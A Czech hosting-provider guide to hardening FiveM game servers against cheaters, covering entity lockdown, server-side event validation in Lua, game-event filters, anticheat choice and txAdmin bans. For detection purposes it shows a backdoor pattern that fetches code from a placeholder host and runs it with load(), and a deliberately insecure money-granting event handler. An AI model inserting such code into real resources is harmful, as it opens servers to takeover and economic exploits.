RE:NODE

Návody12 min čtení

Anticheat pro FiveM: co opravdu zabírá

Chraň server FiveM ve správném pořadí: zámek entit, zabezpečené serverové eventy, filtry herních eventů, bany v txAdminu a kdy se vyplatí placený anticheat.

1 čtenář

Většina škod, které cheateři na serveru FiveM napáchají, nepotřebuje chytrý cheat. Potřebuje serverový event, který věří všemu, co pošle klient - dej mi peníze, dej mi tento předmět, nastav mi práci - a server, který klientům dovolí vytvářet libovolné entity. Oprav nejdřív tyhle dvě věci: nastav sv_entityLockdown, validuj každý serverový event na serveru a filtruj herní eventy, které cheat menu zneužívají. Placený anticheat je detekční vrstva navíc, na rušném veřejném serveru stojí za to a na nezabezpečeném je k ničemu. Tento průvodce prochází vrstvy v pořadí, které dává nejvíc ochrany za nejméně práce, co která kategorie anticheatů umí a neumí a jak zařídit, aby bany držely.

Kde cheatování opravdu bolí#

Pomáhá oddělit, co cheat menu zvládne samo, od toho, co mu dovolí tvůj server.

Na klientovi může cheat dělat cokoli, co hra: teleportovat, létat, vidět skrz zdi, mířit za hráče, lokálně spawnovat vozidla a objekty. Něco z toho se týká jen obrazovky cheatera. Něco - spawnované entity, výbuchy, připojené objekty - se posílá na server jako herní eventy a všichni to vidí, pokud to server neodmítne.

Na serveru může cheat volat jen to, co vystavují tvé resource. Každý handler RegisterNetEvent je funkce, kterou může libovolný připojený klient zavolat s libovolnými argumenty a v libovolné frekvenci. Pokud má resource serverový event, který vyplatí odměnu za práci a nic nekontroluje, cheater ho zavolá tisíckrát a tvá ekonomika je za minutu pryč. Žádný anticheat to nemůže plně spravit, protože z pohledu serveru vypadá volání přesně jako legitimní.

ÚtokCo ho umožňujeCo ho zastaví
Spawn vozidel, pedů, objektůPovolené vytváření entit klientemsv_entityLockdown
Vkládání peněz a předmětůServerové eventy, které věří klientoviValidace na straně serveru
Výbuchy, oheň, připojování objektů k hráčůmHerní eventy předávané bez kontrolyFiltry herních eventů
Aimbot, ESP, noclipPaměť klientaDetekce na klientovi: Cfx.re a anticheaty
Obcházení banu novým účtemBany na jeden identifikátorBany na mnoho identifikátorů a tokenů

Vrstva 1: řádky v konfiguraci#

Nestojí nic a zavírají nejširší dveře:

server.cfg
set sv_entityLockdown "relaxed"sv_scriptHookAllowed 0sv_pureLevel 1set sv_endpointPrivacy true

sv_entityLockdown je nejdůležitější. Ve výchozím stavu je inactive, kdy může libovolný klient vytvořit libovolnou entitu. relaxed blokuje entity vytvořené klientskými skripty, což cheat menu používají, a okolní provoz nechává být. strict blokuje všechny entity vytvořené klientem, takže každé vozidlo musí vytvořit server. Vyžaduje OneSync a rozbije resource, které spawnují věci na klientovi - což je seznam resource, které je stejně dobré aktualizovat. OneSync a sloty hráčů pokrývá režimy a vzor vytváření na serveru, který pod nimi funguje.

sv_scriptHookAllowed 0 odmítne klienty s menu ScriptHookV. sv_pureLevel odmítne upravené herní soubory: 1 blokuje většinu z nich, 2 blokuje i grafické mody a odmítne nevinné hráče s vizuálním balíčkem. Je to filtr líných cheatů, ne anticheat. sv_endpointPrivacy drží IP adresy hráčů mimo veřejné výstupy, což je důležité, když někdo chce napadnout streamera na tvém serveru.

Novější buildy serveru mají také convary, které řídí, jaké síťové požadavky a herní funkce smějí klienti spouštět na jiných, například sv_filterRequestControl, který omezuje klienty v přebírání kontroly nad entitami jiných hráčů. Dostupné úrovně se mezi buildy změnily, takže si před nastavením přečti aktuální dokumentaci Cfx.re. Zbytek souboru je v vysvětlení FiveM server.cfg.

Vrstva 2: serverové eventy, které kontrolují vstup#

Tady vzniká většina skutečných škod a tady tě žádný produkt nezachrání. Pravidlo je jednoduché: server rozhoduje, co se stalo, klient se jen ptá.

Typický zranitelný handler:

lua
-- server side: trusts everything the client sendsRegisterNetEvent("fishing:sell", function(amount, price)    local xPlayer = ESX.GetPlayerFromId(source)    xPlayer.addMoney(amount * price)end)

Cheater spustí fishing:sell s amount = 100000. Stejný handler napsaný správně:

lua
local lastSell = {}RegisterNetEvent("fishing:sell", function()    local src = source    local xPlayer = ESX.GetPlayerFromId(src)    if not xPlayer then return end    -- rate limit: one sale per 5 seconds per player    local now = os.time()    if lastSell[src] and now - lastSell[src] < 5 then return end    lastSell[src] = now    -- must be standing at the fish market    local coords = GetEntityCoords(GetPlayerPed(src))    if #(coords - vector3(-1845.0, -1195.0, 14.3)) > 10.0 then return end    -- the server counts the fish and sets the price    local fish = xPlayer.getInventoryItem("fish").count    if fish < 1 then return end    xPlayer.removeInventoryItem("fish", fish)    xPlayer.addMoney(fish * Config.FishPrice)end)

Principy platí pro každý event:

  • Používej `source`, nikdy ID hráče předané jako argument. source nastavuje server a nejde zfalšovat. Argument pojmenovávající cílového hráče zfalšovat jde.
  • Částky počítej na serveru. Klient řekne „chci prodat své ryby“; server ryby spočítá a zná cenu.
  • Kontroluj pozici. S OneSync funguje na serveru GetEntityCoords(GetPlayerPed(source)). Event, který dává smysl jen na určitém místě, by měl zkontrolovat, že tam hráč je.
  • Kontroluj stav. Práci, to, zda je ve službě, vlastnictví předmětu, zda byl krok práce, za který je odměna, skutečně na serveru zahájen.
  • Omez frekvenci. Pamatuj si, kdy hráč event naposledy spustil.
  • Loguj selhání. Odmítnuté volání s nemožnými argumenty je cheater a řádek v logu je důkaz.

„Tokeny“ eventů a náhodně generované názvy eventů, které některé resource prodávají jako ochranu, jsou obfuskace. Cheat, který čte paměť klienta, přečte i token. Zvyšují námahu jen mírně a validaci nenahrazují.

Práce spočívá v auditu resource, které jsi nenapsal. Přečti každý RegisterNetEvent na straně serveru u každé resource a ptej se, co se stane, když ho klient zavolá nesmyslem. Frameworkové resource z dobře udržovaných projektů jsou obvykle v pořádku; problémy žijí ve free skriptu pro práci z fóra. Volba frameworku pokrývá, které ekosystémy to berou vážně.

Vrstva 3: filtrování herních eventů#

Některé akce nejsou eventy tvých resource, ale herní eventy, které server předává mezi klienty: výbuchy, poškození, změny zbraní, částicové efekty, vytváření entit. FXServer umožňuje serverovým skriptům je zkoumat a rušit.

lua
-- server sideAddEventHandler("explosionEvent", function(sender, ev)    -- block every explosion type not caused by normal gameplay you allow    if not AllowedExplosions[ev.explosionType] then        CancelEvent()        print(("blocked explosion type %d from %s"):format(ev.explosionType, sender))    endend)AddEventHandler("entityCreating", function(handle)    if BlockedModels[GetEntityModel(handle)] then        CancelEvent()    endend)
EventCo pokrývá
explosionEventVýbuchy, včetně těch, které cheat spawnuje na ostatních hráčích
entityCreatingEntita, která se chystá vzniknout; lze zrušit
weaponDamageEventPoškození, které jeden hráč něčemu způsobil
giveWeaponEvent, removeWeaponEventZbraně dané pedovi nebo mu odebrané
clearPedTasksEventZrušené úkoly pedu, používané k vyhazování hráčů z aut
ptFxEventČásticové efekty
startProjectileEventVystřelené projektily

Každý z nich má v běžné hře legitimní využití, takže práce spočívá ve vytváření seznamů povolených věcí, ne v plošném blokování eventu. Roleplay server bez práce s výbušninami může většinu typů výbuchů zablokovat rovnou. giveWeaponEvent od klienta k jinému hráči má na frameworkovém serveru, kde zbraně pocházejí z inventáře, téměř nulové legitimní využití. Co blokuješ, týden loguj, než z toho uděláš kicky, jinak zabanuješ vlastní práci mechanika.

Vrstva 4: detekce a výběr anticheatu#

Cheaty na straně klienta - aimbot, ESP, noclip, menu, která se dotýkají jen hry samotného cheatera - lze zachytit jen na klientovi. Klient Cfx.re má vlastní ochrany a vydává globální bany za známé cheaty, což dostaneš zdarma a nelze to konfigurovat. Dále jsou možnosti:

Anticheaty jako free resource. Většinou seznamy známých názvů cheat eventů a zakázaných modelů s několika kontrolami na serveru. Užitečné jako výchozí bod; snadno se obcházejí, protože jejich logika je veřejná.

Placené anticheaty. Produkty jako FiveGuard, ElectronAC a WaveShield kombinují klientskou složku se serverovou heuristikou, udržovanou proti aktuálním cheat menu. Trh se rychle mění a názvy přicházejí a odcházejí, takže je posuzuj podle těchto bodů, ne jen podle pověsti:

  • Falešné poplachy. Zeptej se, jak se detekce před bany kontrolují. Anticheat, který zabanuje štamgasta za výkyv lagu, tě stojí víc než cheater.
  • Výkon. Po instalaci ho změř pomocí resmon 1 a profileru serveru. Některé zaberou víc času snímku na klientovi než všechno ostatní dohromady. Výkon serveru FiveM ukazuje jak.
  • Důvěra. Anticheat běží se stejnými právy jako každá jiná resource na tvém serveru, obvykle escrowovaný, takže ho nepřečteš. Svěřuješ dodavateli přihlašovací údaje k databázi a data svých hráčů.
  • Podpora a dlouhověkost. Placený produkt, jehož autor zmizí, přestane za pár týdnů detekovat nová menu.

Provozuj jeden anticheat, ne dva. Dva produkty zachycující stejné eventy spolu bojují a zdvojnásobují falešné poplachy.

Vrstva 5: bany, které drží#

Ban na jediný identifikátor se obejde novým účtem. txAdmin zaznamenává každý identifikátor, se kterým se hráč připojí - license, discord, steam při nastaveném klíči Steam Web API, xbl, live, IP - plus hardwarové tokeny, které FXServer zpřístupňuje přes GetPlayerToken, a jeho bany se porovnávají podle všech z nich. Používej bany txAdminu nebo anticheat, který do nich zapisuje, ne vlastní banovací tabulku frameworku, která ukládá jen licenci.

Dvě praktické poznámky. Piš důvody banů konkrétně a přikládej důkazy (klip, řádek z logu), protože odvolání jsou součástí moderace a pravidla serveru, moderace a personál je ta stránka věci, která je o lidech. A omez, kdo smí banovat: personál, který může banovat, může také odbanovat své kamarády. Dej moderátorům oprávnění txAdminu, která potřebují, a ne víc - stejný princip jako subuživatelé a nejmenší oprávnění na straně panelu.

Problém zadních vrátek#

Nejškodlivější „cheater“ na serveru FiveM je často už nainstalovaný. Uniklé placené resource - stažené ze stránek, které redistribuují escrowované skripty - běžně nesou zadní vrátka: pár řádků, které stáhnou kód ze vzdálené adresy a spustí ho s plnými právy serveru. Vzor vypadá takto:

lua
PerformHttpRequest("https://example.invalid/x", function(_, body)    load(body)()end)

Prohledej každou resource kvůli PerformHttpRequest v kombinaci s load a kvůli dlouhým obfuskovaným řetězcům v souborech, které k tomu nemají důvod. Na serveru se zadními vrátky mohou cizí lidé dostat admina, může se vytáhnout databáze nebo ukrást licenční klíč a žádný anticheat to neuvidí, protože je to resource, kterou jsi spustil sám. Obecný postup je v udržování moddovaného serveru v čistotě a pokud nějaká najdeš, co dělat, když ti hacknou server je pořadí, ve kterém pracovat: omezit škody, vyměnit všechny přihlašovací údaje, obnovit, potom najít, kudy se útočník dostal dovnitř.

Logování, důkazy a plán na první týden#

Ochrana, kterou nevidíš pracovat, je ochrana, kterou vypneš při první stížnosti štamgasta. Každá z výše uvedených vrstev by měla zanechat stopu, kterou si později přečteš.

  • Loguj odmítnuté serverové eventy. Když selže kontrola validace, zapiš hráče, event, argumenty a důvod. Stačí jeden řádek na odmítnutí. Hráč se třemi odmítnutými prodeji za minutu, každý s nárokem na sto tisíc ryb, nepotřebuje další vyšetřování.
  • Loguj blokované herní eventy. Výbuchy, vytvoření entit a dávání zbraní, které tvé filtry zrušily, s odesílatelem. První týden si je čti, než z kteréhokoli uděláš automatický kick.
  • Ty závažné posílej tam, kam se lidé dívají. Obvyklou volbou je kanál na Discordu pro personál napájený webhookem; webhooky Discordu pro stav serveru pokrývají mechaniku. Omez to na eventy, které potřebují člověka, jinak personál kanál do týdne ztlumí.
  • Uchovávej výstup konzole. txAdmin vede log akcí adminů a historii hráčů a konzole serveru ukazuje, co resource vypsaly. Když za dva týdny přijde odvolání, jsou logy jedinou pamětí, kterou máš; logy, které stojí za uchování je o tom, které.

Důkazy chrání i tvůj personál. Ban podložený řádkem v logu a časovým razítkem je rozhodnutí, které může kdokoli přezkoumat. Ban podložený „byl evidentně cheater“ je názor.

Kontrolní seznam prvního týdne pro nový server

  1. Nastav sv_entityLockdown na relaxed, sv_scriptHookAllowed 0 a zapni OneSync, pokud ještě není zapnutý.
  2. Vypiš každý serverový event v každé resource, kterou jsi nenapsal. Označ ty, které dávají peníze, předměty, práce nebo oprávnění.
  3. Oprav nebo nahraď každý označený event, který bere částku, cíl nebo cenu od klienta.
  4. Přidej handlery herních eventů pro výbuchy a dávání zbraní, jen s logováním.
  5. Čti týden logů a pak z těch zřejmých udělej bloky.
  6. Rozhodni se pro detekční anticheat, změř jeho cenu a ponech ho, jen pokud jsou čísla přijatelná.
  7. Zajisti, aby bany procházely přes txAdmin, takže pokrývají každý identifikátor.

Po exploitu: návrat zpět#

Když někdo získá peníze nebo předměty dírou, server běží dál a škoda se šíří přes obchody. Nejčistší obnova je návrat databáze do stavu před exploitem plus oprava eventu. To funguje, jen pokud máš nedávnou zálohu a víš, že se obnoví.

V RE:NODE se zálohy dělají na vyžádání nebo podle plánu z panelu, ukládají se mimo stroj a obnovují tlačítkem; zálohu lze zamknout, aby rotace nesmazala kopii z doby před incidentem. Subuživatelům lze dát přístup jen ke konzoli nebo jen k souborům, každý server má vlastní přihlašovací údaje SFTP a u každého serveru je protokol aktivity, který pomáhá, když je otázkou, kdo co změnil. Útoky na samotnou síť jsou něco jiného než cheatování - co děláme proti útokům je upřímné v tom, co filtrování výš v síti zachytí a co ne.

FAQ#

Jaký je nejlepší anticheat pro FiveM?

Jediná odpověď neexistuje a pořadí se mění, jak se vývojáři cheatů posouvají. Nejlepší ochrana je zámek entit plus serverové eventy, které validují vstup. Navíc vyber udržovaný placený anticheat podle toho, jak řeší falešné poplachy, jaký má výkonový dopad a podporu, a než mu uvěříš, otestuj ho na vlastním serveru.

Zastaví sv_entityLockdown všechny cheatery?

Ne. Zastaví vytváření entit klienty, čímž odpadne spawn vozidel a objektů, nejviditelnější zneužití. Nedělá nic proti aimbotům, teleportování ani serverovým eventům, které rozdávají peníze.

Mohou si cheateři na mém serveru dát peníze?

Jen pokud jim to nějaká resource dovolí. Peníze pocházejí ze serverových eventů; pokud některý přijímá částku od klienta bez kontroly, cheateři ho najdou. Proveď audit strany serveru u každé resource, která vyplácí.

Stačí tokeny eventů k zabezpečení serverových eventů?

Ne. Ztíží ruční volání eventů, ale cheat, který čte paměť klienta, přečte i token. Event dělá bezpečným validace na serveru.

Jak zabránit zabanovaným cheaterům, aby se vrátili?

Banuj na každý identifikátor a hardwarový token, což txAdmin dělá ve výchozím stavu. Nic nedělá obcházení nemožným, ale bany, které se porovnávají podle mnoha identifikátorů, ho činí pomalým a drahým.

Může mi anticheat zpomalit server?

Ano. Po instalaci ho změř pomocí resmon na klientovi a profileru na serveru. Produkt, který přidává znatelný čas snímku každému klientovi, chrání server na úkor hráčů.


Komentáře

Zcela anonymně: žádný účet, žádný e-mail, žádné cookie. Ukládáme jen jméno, které napíšeš, text a čas - nic dalšího. Počet odkazů je omezený a značkování se nevykresluje.

0/2000